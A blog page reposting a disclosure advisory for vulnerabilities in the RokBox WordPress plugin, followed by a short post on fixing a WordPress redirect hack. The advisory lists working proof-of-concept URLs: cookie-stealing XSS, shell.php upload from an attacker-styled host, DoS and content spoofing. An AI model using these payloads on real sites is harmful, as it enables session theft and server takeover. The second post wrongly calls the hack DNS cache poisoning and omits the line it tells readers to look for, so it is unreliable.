Pak Softwares Spot: Wordpress

Multiple vulnerabilities in RokBox for WordPress

<div dir="ltr" style="text-align: left;" trbidi="on">
These are Cross-Site Scripting, Full path disclosure, Abuse of 
Functionality, Denial of Service, Arbitrary File Upload, Content Spoofing 
and Information Leakage vulnerabilities. Rokbox uses TimThumb 1.16 and JW 
Player 4.4.198, so some of vulnerabilities are related to plugin itself, 
some to TimThumb (vulnerabilities in which I've disclosed in 2011 and 
developer fixed them after my informing) and some to JW Player 
(vulnerabilities in which I've disclosed in 2012 and developer fixed them 
after my informing). 
 
------------------------- 
Affected products: 
------------------------- 
 
Vulnerable are Rokbox 2.13 and previous versions. 
 
To CS and XSS in JW Player and FPD are vulnerable all versions of Rokbox for 
WordPress (Rokbox <= 2.13), but IL and vulnerabilities in TimThumb were 
fixed. After my informing in August the developers changed TimThumb to 
phpThumb, so version 2.13 isn't vulnerable to them. 
 
---------- 
Details: 
---------- 
 
XSS (WASC-08) (in versions of Rokbox with older versions of TimThumb): 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg 
 
Full path disclosure (WASC-13): 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http:// 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1&w=1111111 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1111111&w=1 
 
Abuse of Functionality (WASC-42): 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site&h=1&w=1 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1 
(bypass of restriction on domain, if such restriction is turned on) 
 
DoS (WASC-10): 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site/big_file&h=1&w=1 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1 
(bypass of restriction on domain, if such restriction is turned on) 
 
About such Abuse of Functionality and Denial of Service vulnerabilities you 
can read in my article Using of the sites for attacks on other sites 
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html). 
 
Arbitrary File Upload (WASC-31): 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php 
 
This Arbitrary File Upload vulnerability in TimThumb was disclosed last year 
after 3,5 months after my disclosure of previous holes. 
 
Content Spoofing (WASC-12): 
 
In parameter file there can be set as video, as audio files. 
 
Swf-file of JW Player accepts arbitrary addresses in parameters file and 
image, which allows to spoof content of flash - i.e. by setting addresses of 
video (audio) and/or image files from other site. 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF 
http://site/wp-content/plugins/wp_rokbox/thumb.php?file=1.flv&image=1.jpg 
 
Content Spoofing (WASC-12): 
 
Swf-file of JW Player accepts arbitrary addresses in parameter config, which 
allows to spoof content of flash - i.e. by setting address of config file 
from other site (parameters file and image in xml-file accept arbitrary 
addresses). For loading of config file from other site it needs to have 
crossdomain.xml. 
 
http://site/wp-content/plugins/wp_rokbox/thumb.php?config=1.xml 
 
1.xml 
 
<config> 
  <file>1.flv</file> 
  <image>1.jpg</image> 
</config> 
 
Content Spoofing (WASC-12): 
 
http://site/wp-content/plugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site 
 
XSS (WASC-08): 
 
http://site/wp-content/plugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
 
 
Information Leakage (WASC-13): 
 
http://site/wp-content/plugins/wp_rokbox/error_log 
 
Leakage of error log with full paths. 
 
Full path disclosure (WASC-13): 
 
http://site/wp-content/plugins/wp_rokbox/rokbox.php 
 
------------ 
Timeline: 
------------ 
 
2012.08.24 - announced at my site. 
2012.08.28 - informed developers. 
2012.08.29 - developers answered that they will look at it. 
2012.12.14 - disclosed at my site (http://websecurity.com.ua/6006/). The 
developers haven't told me, which holes and in which versions they fixed, 
but my checking of the last version of RokBox showed that they fixed only 
part of the holes. </div>

Multiple vulnerabilities in RokBox for WordPress

These are Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service, Arbitrary File Upload, Content Spoofing ...

WordPress Site Hacked – Redirecting it to Another Site

<div style="text-align: center;">
<img alt="WordPress Site Hacked - Redirecting to Another Site" class="size-medium wp-image-3078 aligncenter" height="198" src="http://www.rumyittips.com/wp-content/uploads/2013/06/wordpress-hack-300x198.png" title="WordPress Site Hacked - Redirecting to Another Site" width="300" /></div>
WordPress Site Hacked – Redirecting to Another Site

Yesterday night one strange thing happened with my one website. it,s going redirect to www.yllix.com.

Today i am going to Show you How Easily you resolve this kind of 
malicious activity of website redirecting. This kind of attack is called
 as DNS cache Posionging.

DNS cache poisoning,
 also known as DNS spoofing, is a type of attack that exploits 
vulnerabilities in the domain name system (DNS) to divert Internet 
traffic away from legitimate servers and towards fake ones.

A DNS cache contains entries that translate Internet domain names *such as “www.google.com“) to IP addresses.
 The Internet’s Domain Name System (DNS) involves caching on both 
Internet DNS servers and on the client computers that contact DNS 
servers. These caches provide an efficient way for DNS to efficiently 
keep the Internet synchronized as the IP addresses of some servers 
change and as new servers come online.

Now lets Start, Open your <a href="http://cpanel.net/" target="_blank">Cpanel </a>( your Hosting site control Panel)

Go to Files > File manager > In Document Root choose your 
website and click on the Go. ( This location will be may be different 
for hosting sites. presently i am using <a href="http://www.hostgator.com/">http://www.hostgator.com/</a> for this demonstation.)

then select your WWW directory and choose <a href="http://rumyittips.com/wordpress-site-hacked-redirecting-to-another-site/" target="_blank">wpsetting.php </a>file, Right click on it and select the code edit option.

Now check any line that looking abnormal like

Delete this particular line and click on the Save Change option to Save.

Your work Finsih. Now you are able to open your WordPress site without redirect.

Verification of Your Website status :-

Open <a href="http://sitecheck.sucuri.net/scanner/">http://sitecheck.sucuri.net/scanner/</a> and enter your website name. it will show you your website status.

In my next article i will write How to Secure your wordpress site. Just Follow me.

Hope you like my post WordPress Site Hacked – Redirecting to Another Site. Please Share with others.</div>

WordPress Site Hacked – Redirecting it to Another Site

WordPress Site Hacked – Redirecting to Another Site Yesterday night one strange thing happened with my one website. it,s going re...